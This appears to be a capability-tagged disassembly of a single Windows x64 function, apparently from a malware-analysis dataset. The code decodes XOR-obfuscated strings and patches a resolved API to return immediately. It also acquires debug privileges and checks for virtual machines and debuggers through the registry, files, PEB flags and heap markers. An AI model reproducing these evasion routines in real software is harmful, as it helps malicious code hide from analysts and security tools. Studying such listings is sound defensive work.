Function at 0x1400023e0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Check for debugger via api
Check for peb beingdebugged flag
Execute shellcode via indirect call
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x600
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14000c008]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
mov rsi, rcx
xor r15d, r15d
mov byte [rcx], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsi + 0x28], rax
movabs rax, 0xb37ebc7e4ef3f90d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xfecb4ed7940d32b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rbx, 0xdf1a921222978d63
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs r14, 0xfecb4ed7940d32d4
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movdqa xmm0, xmmword [rbp + 0x90]
pxor xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
lea edi, [r15 + 1]
test rax, rax
je 0x14000256c
movabs rax, 0xb47bf76060f0ef27
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa0], rcx
movabs rax, 0xfecb4ea3fa645d84
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa8], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140002562
lea r9, [rbp + 0x1f8]
lea r8d, [r15 + 0x40]
mov edx, edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002562
mov byte [rbx], 0xc3
movabs rbx, 0xdf1a921222978d63
mov rdx, qword [rsi + 0x28]
test rdx, rdx
jne 0x14000262c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x20], rax
movabs rax, 0xdeaf2bbbfd6c74f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xa5d76a41832520f1
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x7f421157a5921653
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x38], rax
movabs rax, 0x56f4ea5b8436375
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x40], rax
movabs rax, 0xba5d46bec7419ae9
mov qword [rbp + 0x1a0], rax
movabs rdx, 0xba5d46dbab25f488
jmp 0x140003322
lea r8, str.SeSecurityPrivilege
call fcn.140003ba0
test al, al
jne 0x1400026f3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x20], rax
movabs rax, 0xdeaf2bbbfd6c74f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xaa957f4a812520f1
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x4c27366685b34443
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x38], rax
movabs rax, 0x2c01628f89695e52
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x40], rax
movabs rax, 0xba5d46dbab25b1c5
mov qword [rbp + 0x1a0], rax
movabs rdx, 0xba5d46dbab25f488
jmp 0x140003322
lea r8, str.SeDebugPrivilege
mov rdx, qword [rsi + 0x28]
call fcn.140003ba0
test al, al
jne 0x140002791
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x20], rax
movabs rax, 0xdeaf2bbbfd6c74f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xaa957f4a812520f1
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x4d27216685b34443
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x38], rax
movabs rax, 0x6d0a7097937f4b52
jmp 0x1400032ff
mov dword [rbp + 0x230], 0x40
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x238]
shr rax, 0x14
cmp rax, 0x800
jb 0x14000327e
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x290], 2
jb 0x14000327e
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.SystemControlSet001ServicesVMTools
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000327e
lea rdx, [rbp + 0x2a0]
lea rcx, str.C:WindowsSystem32_vm3dgl.dll
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x14000327e
call fcn.140003c60
test al, al
jne 0x14000327e
lea rcx, [rbp + 0x180]
call fcn.140002290
nop
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140004b30
nop
mov r14, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
sub rax, r14
cmp rax, 0x2f
jb 0x14000289a
lea rax, [r14 + 0x2f]
mov qword [rbp + 0x78], rax
lea rbx, [rbp + 0x68]
cmp rcx, 8
cmovae rbx, qword [rbp + 0x68]
lea rcx, [rbx + r14*2]
mov r8d, 0x5e
lea rdx, str.c2a7a660_ca80_41d9_bb09_c133f11ee957_af23d.tmp
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + r14*2 + 0x5e], r15w
lea rax, [rbp + 0x68]
jmp 0x1400028b1
mov qword [rsp + 0x20], 0x2f
mov edx, 0x2f
lea rcx, [rbp + 0x68]
call fcn.140005520
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
movups xmmword [rbp + 0xb0], xmm0
movdqu xmmword [rbp + 0xc0], xmm1
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 7
mov word [rbp + 0xd0], r15w
lea rcx, [rbp + 0xb0]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 8
cmovae rcx, rdx
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x210]
call fcn.140006604
mov r8d, eax
test eax, eax
jne 0x140002977
mov edx, dword [rbp + 0x220]
bt edx, 0xa
jae 0x140002969
mov eax, dword [rbp + 0x224]
cmp eax, 0xa000000c
jne 0x14000295b
lea edi, [r8 + 4]
jmp 0x140002998
cmp eax, 0xa0000003
jne 0x140002969
mov edi, 0xa
jmp 0x140002998
movzx edi, dl
and edi, 0x10
or edi, 0x20
shr edi, 4
jmp 0x140002998
mov dword [rbp + 0x174], 0xffff
sub eax, 2
je 0x140002998
sub eax, 1
je 0x140002998
sub eax, 0x32
je 0x140002998
cmp eax, 0x46
je 0x140002998
mov edi, r15d
mov dword [rbp + 0x160], r8d
lea rax, [0x14000c058]
mov qword [rbp + 0x168], rax
movaps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x200], xmm0
test edi, edi
je 0x140002a18
mov dword [rbp + 0x200], r15d
mov qword [rbp + 0x208], rax
cmp edi, 1
setne bl
mov rdx, qword [rbp + 0xc8]
cmp rdx, 8
jb 0x140002a2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor bl, bl
test r8d, r8d
jne 0x140003444
jmp 0x1400029d4
call fcn.140006c94
movdqa xmm0, xmmword [0x140008a20]
movdqu xmmword [rbp + 0xc0], xmm0
mov word [rbp + 0xb0], r15w
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 7
mov word [rbp + 0xd0], r15w
mov rdx, qword [rbp + 0x80]
cmp rdx, 8
jb 0x140002aa2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006c94
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], 7
mov word [rbp + 0x68], r15w
mov rdx, qword [rbp + 0x198]
cmp rdx, 8
jb 0x140002aff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002afa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002afa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006c94
movdqa xmm0, xmmword [0x140008a20]
movdqu xmmword [rbp + 0x190], xmm0
mov word [rbp + 0x180], r15w
test bl, bl
je 0x140002c03
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x20], rax
movabs rax, 0xdeaf2bbbfd6c74f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xaa963e41862520f1
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x6016455da5970b4a
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x38], rax
movabs rax, 0x6d4f3dd6b3557e27
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x40], rax
movabs rdx, 0xba5d46dbab25f488
mov qword [rbp + 0x1a0], rdx
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x48], rax
movabs rax, 0xdf1a921222978d63
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x500], rax
movabs rax, 0xfecb4ed7940d32d4
mov qword [rbp + 0x1a0], rax
jmp 0x140003349
mov rcx, rsi
call fcn.140003460
test al, al
jne 0x140002c99
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x20], rax
movabs rax, 0xdeaf2bbbfd6c74f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xb2997b408d2520f1
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x7d170a40e099024f
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x38], rax
movabs rax, 0x6d2a5ebfab456827
jmp 0x140002ba0
mov dword [rbp + 0x1d8], r15d
lea rdx, [rbp + 0x1d8]
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
movabs rbx, 0xc6f71e24e4054f85
movabs rdi, 0xf626539c0e06426
cmp dword [rbp + 0x1d8], 0
jne 0x14000319a
movabs r14, 0x9663e07757c6f92d
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs r12, 0x97bf2fbae66254ba
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs r13, 0xb5927d4b965521ea
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0xf626539c0e06455
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xdf1a921222978d63
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0xfecb4ed7940d32d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x100], ymm1
lea rcx, str.ntdll.dll
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0x100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp + 0x1dc], r15d
mov qword [rsp + 0x20], r15
mov r9d, 4
lea r8, [rbp + 0x1dc]
lea edx, [r9 + 0x1b]
mov rcx, qword [rsi + 0x28]
call rax
test eax, eax
jne 0x140002df1
cmp dword [rbp + 0x1dc], eax
je 0x14000319a
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xf626539c0e06455
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs r14, 0xdf1a921222978d63
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs r12, 0xfecb4ed7940d32d4
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x120], ymm1
lea rcx, str.ntdll.dll
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0x120]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1a0], r15
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rbp + 0x1a0]
lea edx, [r9 + 0x16]
mov rcx, qword [rsi + 0x28]
call rax
test eax, eax
jne 0x140002ef4
cmp qword [rbp + 0x1a0], 0
jne 0x14000319a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x30]
test dword [rcx + 0x70], 0xfffffffd
jne 0x14000319a
cmp dword [rcx + 0x74], 0
jne 0x14000319a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a8], xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
je 0x140002f6f
cmp word [rbp + 0x1b6], 4
jne 0x140002f32
mov eax, dword [rbp + 0x1b0]
add rax, qword [rbp + 0x1a8]
cmp dword [rax], 0xabababab
je 0x14000319a
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x14000319a
call fcn.140003f10
test al, al
jne 0x14000319a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp + 0x1e0]
call fcn.1400041b0
nop
mov r10, qword [rbp + 0x1e0]
mov r9, r10
mov r11, qword [rbp + 0x1e8]
cmp r10, r11
je 0x14000312f
nop dword [rax]
mov rcx, r15
mov rdx, qword [r9 + 8]
mov eax, dword [r9 + 0x10]
test eax, eax
je 0x140002ffc
mov r8d, eax
movzx eax, byte [rdx]
test al, al
je 0x140002ff3
imul rcx, rcx, 0x1003f
add rcx, rax
inc rdx
sub r8, 1
jne 0x140002fe2
cmp rcx, qword [r9]
jne 0x14000300f
add r9, 0x18
cmp r9, r11
jne 0x140002fd0
jmp 0x14000312f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x140], rax
movabs rax, 0xdeaf2bbbfd6c74f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x148], rax
movabs rax, 0xa5926d048c762eed
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x150], rax
movabs rax, 0xf626539ae8f0d52
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x1a0], r14
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x1a0], r12
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x508], rax
mov qword [rbp + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x1a0], rdi
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x518], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rdx, [rbp + 0x140]
vzeroupper
call fcn.140005310
lea rdx, [0x1400054e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r10, qword [rbp + 0x1e0]
test r10, r10
je 0x140003414
mov rcx, qword [rbp + 0x1f0]
sub rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r10
cmp rdx, 0x1000
jb 0x14000318d
add rdx, 0x27
mov r10, qword [r10 - 8]
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000318d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r10
call fcn.140006c94
jmp 0x140003414
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x20], rax
movabs rax, 0x97ac29a2f66876f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xa9993e578d2528eb
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x6a150a55ac814452
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x38], rax
movabs rax, 0x6d4f3dd6dd200c63
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x40], rax
movabs rdx, 0xba5d46dbab25f488
mov qword [rbp + 0x1a0], rdx
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x48], rax
movabs rax, 0xdf1a921222978d63
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x500], rax
movabs rax, 0xfecb4ed7940d32d4
mov qword [rbp + 0x1a0], rax
jmp 0x14000335d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf23acf7a51f6c538
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x20], rax
movabs rax, 0xdea521f7f17e67f4
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xa8d76d4dc47602d3
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x780d0955a1c01049
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x38], rax
movabs rax, 0x6d4f3dd6dd206862
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x40], rax
movabs rdx, 0xba5d46dbab25f488
mov qword [rbp + 0x1a0], rdx
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x1a0], r14
movabs rbx, 0xc6f71e24e4054f85
movabs rdi, 0xf626539c0e06426
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x508], rax
mov qword [rbp + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x1a0], rdi
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x518], rax
movabs rax, 0x6d4f3dd6dd200c07
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x1a0], rdx
mov rax, qword [rbp + 0x1a0]
vmovdqu ymm0, ymmword [rbp + 0x500]
mov qword [rbp + 0x528], rax
vmovdqa xmm2, xmmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vpxor xmm2, xmm2, xmmword [rbp + 0x520]
lea rdx, [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqa xmmword [rbp + 0x40], xmm2
vzeroupper
call fcn.140005310
lea rdx, [0x1400054e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.1400069e0
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x200]
lea rcx, str.exists
call fcn.140002230
int3